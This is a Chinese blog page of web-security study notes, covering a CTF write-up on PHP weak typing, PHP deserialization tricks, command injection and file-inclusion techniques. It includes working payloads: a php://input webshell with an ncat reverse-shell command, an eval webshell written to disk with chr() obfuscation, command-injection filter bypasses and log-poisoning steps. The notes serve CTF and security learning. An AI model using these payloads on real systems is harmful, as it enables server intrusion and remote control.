分类 web安全 下的文章

[ACTF2020 新生赛]BackupFile这题,虽然不是什么难题,但是有个有意思的知识点,在获取到他的源代码之后,我们可以看到

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

可以看到这里传入一个参数key,先进行一个是否为数字或数字字符串类型的判断,如果过了,取这个数的整数值,再与str进行判断,这里要用到一个php弱类型的知识点

PHP里面有两种比较符号,==和===,===在进行比较的时候,要求类型和值都相等才为真,也就是全等于,而==在进行比较的时候,如果两者类型不同,则会先把两个字符串转化为同一类型,然后再进行比较,如1xsafa会被转化为1,xsafa会被转化为0,0e54548777等等类似以0e开头的字符串都会被识别为科学计数法的数字,所以无论多少都一样

同理也可以用来绕过is_number

这题最后在被比较的时候key已经被处理成数字了,而==又会使str被转化为123,所以只要传入key=123就行

做文件包含题的时候多次用到了php://filter/convert.base64-encode/resource,稍微深入的去了解一下

php://的作用是访问各个输入/输出流,他可以支持几种不同的协议

https://www.php.net/manual/zh/wrappers.php.php

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用

参数如下
avatar

这玩意一般会给(坏蛋)拿来读取文件的源代码,上面提到的php://filter/convert.base64-encode/resource,和php://filter/read=convert.base64-encode/recource相同,意思是用base64编码的方式来读取文

https://blog.csdn.net/destiny1507/article/details/82347371

这篇博客讲到了另外几种利用方式,一种是利用上面编码解码,将马用base64加密,然后用这玩意解码出来,我们的可以被解析,而安全机制另外添加在上面的数据被解码后也就会失效

将都讲了顺带讲点别的

php://input可以访问请求原始数据的只读流,也就是说,这玩意可以读取没有处理过的post数据,https://blog.csdn.net/weixin_30326515/article/details/96024055,这篇文章讲了如何利用这玩意来getshell

<?php @eval(file_get_contents('php://input'))?>

然后提交post:system('ncat -e /bin/bash localhost 1234');

之后再用nc反弹shell


第二种
<?php @include($_GET["file"])?>

提交post:<?php system('ifconfig');?>,这样就变成代码执行漏洞

但是我估计这篇文章是复制粘贴来的,图片都挂了.....

另外其他几种PHP支持的协议和封装协议

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

序列化原理

序列化是指将对象信息转换为可存储或可传输的过程

序列化之后的对应关系:

布尔:b:value
整数:i:value
字符串:s:length:"value"
数组:a:<length>:{key,value paris}
对象:O:<class_name_length>:
NULL:N

最终格式
<class_name>:<number_of_properties>:{<properties>}

例如下面一个序列化例子

class persion
{
    public $name;
    public $age=19;
    public $sex;
}

serialize()序列化之后:

O:6:"persion":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;}
对象:对象名长度:对象名:属性数:{字符串:长度:名字;属性为空;字符串:长度:名字;整数:值;字符串:长度:名字;空;}

利用反序列化漏洞的条件:

  1. unserialize函数的参数可控
  2. php中有可以利用的类并类中有魔术方法

常见魔术方法:

_construst:对象创建
_destrust:对象销毁
_toString:对象被当做一个字符串使用
_sleep:序列化对象前调用(返回一个数组
_wakeup:反序列化恢复对象前调用
_call:调用对象中不存在的方法时自动调用
_get:从不可访问的属性读取数据

技巧

_wakeup失效: PHP5-5.6.25,PHP7.-7.0.10

当属性的个数不正确的时候,PHP不会调用__wakeup

bypass反序列化正则:使用正则/[oc]:\d+:/i来过滤反序列化字符,可以在O字段的对象长度前面加个+来绕过

Exception绕过:假设某类B,其flag在__desturct中,但因为后面又throw导致__destruct不会执行,这是构造属性为O:1:"B":1{1},解析错误但是类名是对的,所以会调用该类的__desturct

index.php
<?php

class SoFun{
  public $file='index.php';
  
  function __destruct(){
    if(!empty($this->file)){
      if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false){
        echo "<br>";
        show_source(dirname (__FILE__).'/'.$this ->file);}
      else
        die('Wrong filename.');
      }
    }
    
  function __wakeup(){ 
    $this-> file='index.php'; 
    }  
    
  public function __toString(){return '' ;}}
       
  if (!isset($_GET['file'])){
    show_source('index.php');
  } 
  else
  { 
    $file = $_GET['file']; 
    echo unserialize($file); 
  } 
?>  <!--key in flag.php-->



在flag.php里面有flag,但是因为wakeup函数的问题,他在反序列化的时候回把file名自动赋值为index.php,这时利用__wakeup()函数的漏洞,即输入错误的属性数,可以导致其不会运行,从而代入flag.php来获取最后的结果

远程命令执行

  1. 与前面的漏洞有些类似,PHP下允许远程命令执行的函数有eval(),assert(),preg_replace(),call_user_func(),如果页面中存在上述函数并且可以被用户控制,同时没有对参数做有效的过滤,那么就可能存在远程命令执行漏洞
  2. eval和assert可以把传进来的字符串当做PHP代码来执行,但是eval参数必须是合法的PHP代码,所以后面必须要加;,而assert则没有那么严格
  3. preg_replace ( string|array $pattern , string|array $replacement , string|array $subject , int $limit = -1 , int &$count = null ) : string|array|null,含义是搜索subject中的pattern部分用replacement来代替,当$pattern部分存在/e修饰符的时候$replacement的值会被当成PHP来执行,此只适用于5.4以下版本
  4. 其他类似array_map(),call_user_func(),ob_start(),usort()等等函数,都可以利用
  5. PHP的语言特性可以让当前的PHP函数可直接由字符串拼接而成

    <?php
    $a=$_GET['a'];
    $b=$_GET['b'];
    echo $a($b);
    ?>

    提交?a=assert&b=phpinfo()也可以执行

利用漏洞来获取webshell

如果存在远程命令执行漏洞,则我们可以利用这个来获取webshell
fputs(fopen("a.php","w"),'<?php eval($_POST["cmd"])?>')

当然,如果直接这么提交可能会因为被各种编码过滤而废掉,可以考虑利用chr字符对所有字符进行ASCII编码

eval(cHR(102).CHR(112).CHR(117).....)

这里需要注意引号的问题,单引号当中的变量会被当做字符串不执行直接被系统输出,而双引号中的字段会结果编译器解释后执行,上面fputs第二个值需要被当做字符串直接被输出,如果使用双引号的话会导致错误

系统命令执行

利用PHP的系统命令执行函数来调用系统命令并执行,这类函数有:system,exec,shell_exec,pcntl_exec,popem,proc_open

<?php
if(isset($_POST['submit'])
{
    $target = $_REQUEST['ip'];

    if(stristr(php_uname('s'),'Windows NT'))
    {
        $cmd=shell_exec('ping'.$target);
        echo '<pre>'.$cmd.'</pre>';
    }
    else
    {
        $cmd=shell_exec('ping -c 3'.$target);
        echo '<pre>'.$cmd.'</pre>';
    }
})
?>

如上我们可以看到,ip这个参数在没有做任何过滤之后便跟Ping连接,我们可以使用&&||\;\&|在其后作为分隔,然后输入其他的命令,如127.0.0.1&&ll -a

windows:&&||\%0a

linux:&&||\;$()\ \`\`\%0a\%0d

注释符:
windows::linux#
常用命令:

windows:
cd 切换目录
dir 显示目录中的内容
type 查看文本文件内容
more 逐屏显示文本文件内容
whoami

linux:
pwd 显示路径
ls -a 列出目录中全部内容
cat
tac
tail
more
less

绕过方式:

空格过滤:将命令中的空格过滤掉,使得命令失效。但是在命令中间隔的字符可以不只是空格,例如%20等,另外可以利用bp对%00-%ff之间进行爆破看看哪些有用

windows:
另外可以通过字符串截取的方式来获得空格,例如%ProgramFiles:~10,1%,这条命令代表取%ProgramFiles%的值,一般为C:\Program Files,其第十个字符为空格

Linux:$IFS$9${IFS}\{cmd,args}

读取文件cat<>flag

黑名单

利用变量拼接``a=c;b=at;c=he;d=llo;$a$b $c$d

使用通配符

使用substr()借用别的文件的字符串

原理

假设某一网站代码

<?php 
$file = $_GET["file"];
if($file)
{
    include($file);
}
?>

假设我们给这个file参数传一个../1.php(如果存在这个文件的话),那么我们就能读出这个文件

文件包含的最大特点就是把服务器上的文件包含到当前的页面当中

漏洞利用

文件上传配合文件包含

日志文件包含

需要知道日志文件的位置

通过URL中插入执行代码,将其记录进日志文件,如提交include_xx.php?<?php phpinfo();?>.php时,会被记录如错误日志,这时候访问log的地址,将错误日志包含进当前页面,就可以看见phpinfo()已经执行,同理,也可把这个换成木马

注:url中的代码可能会因为转义而失效,可以在bp中抓包改回来

(1) apache+Linux 日志默认路径
/etc/httpd/logs/access_log
或者
/var/log/httpd/access_log

(2) apache+win2003 日志默认路径
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log

(3) IIS6.0+win2003 默认日志文件
C:\WINDOWS\system32\Logfiles

(4) IIS7.0+win2003 默认日志文件
%SystemDrive%\inetpub\logs\LogFiles

(5) nginx 日志文件
日志文件在用户安装目录 logs 目录下
以我的安装路径为例/usr/local/nginx,
那我的日志目录就是在/usr/local/nginx/logs里
web 中间件默认配置
(1) apache+linux 默认配置文件
/etc/httpd/conf/httpd.conf
或者
index.php?page=/etc/init.d/httpd
(2) IIS6.0+win2003 配置文件
C:/Windows/system32/inetsrv/metabase.xml
(3) IIS7.0+WIN 配置文件
C:\Windows\System32\inetsrv\config\applicationHost.config

敏感文件包含

利用漏洞,直接读取操作系统中的敏感文件

临时文件包含

通过session之类的的文件,包含后查看有无可以控制的变量,通过控制这些变量值来将恶意代码写入session文件

PHP封装协议包含

File:// 访问本地文件系统
http:// 访问 HTTPs 网址
ftp:// 访问 ftp URL
Php:// 访问输入输出流
Zlib:// 压缩流
Data:// 数据
Ssh2:// security shell2
Expect:// 处理交互式的流
Glob:// 查找匹配的文件路径

?page=file:///C:/xxx.txt

?filename=php://filter/convert.base64-encode/resource=xxx.php ?对本地磁盘进行读写

绕过

如果目标有验证防护措施但是不严密,可以考虑利用一些手法绕过

绕过文件后缀名

%00截断,或者unix中可以使用url编码的换行符%0a

通过目录长度限制截断

目录长度的限制会让系统设定固定的后缀名,windows为256位截断,linux可能需要4096,构造一个足够长的、尾巴满足系统过滤要求的文件名,又利用截断把最后无用的后缀给截取掉,那剩下的就是我们想要的了

例如

http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

同理,windows下还可以用.进行截断,要超过256位

远程文件包含

?page=http//www.shangxizhuan.site/xx/xxx.php

如果碰到加后缀名进行限制这种方式,可以考虑使用问号、#、空格来进行绕过?filename=http://www.shangxizhuan.site/xx.txt?

一篇关于文件包含的博客

dvwa

  1. 直接包含
  2. 过滤掉了../,用绝对路径
  3. 直接访问无法访问,用file协议?page=file:///C:/phpstudy_pro/www/hackable/flags/1.php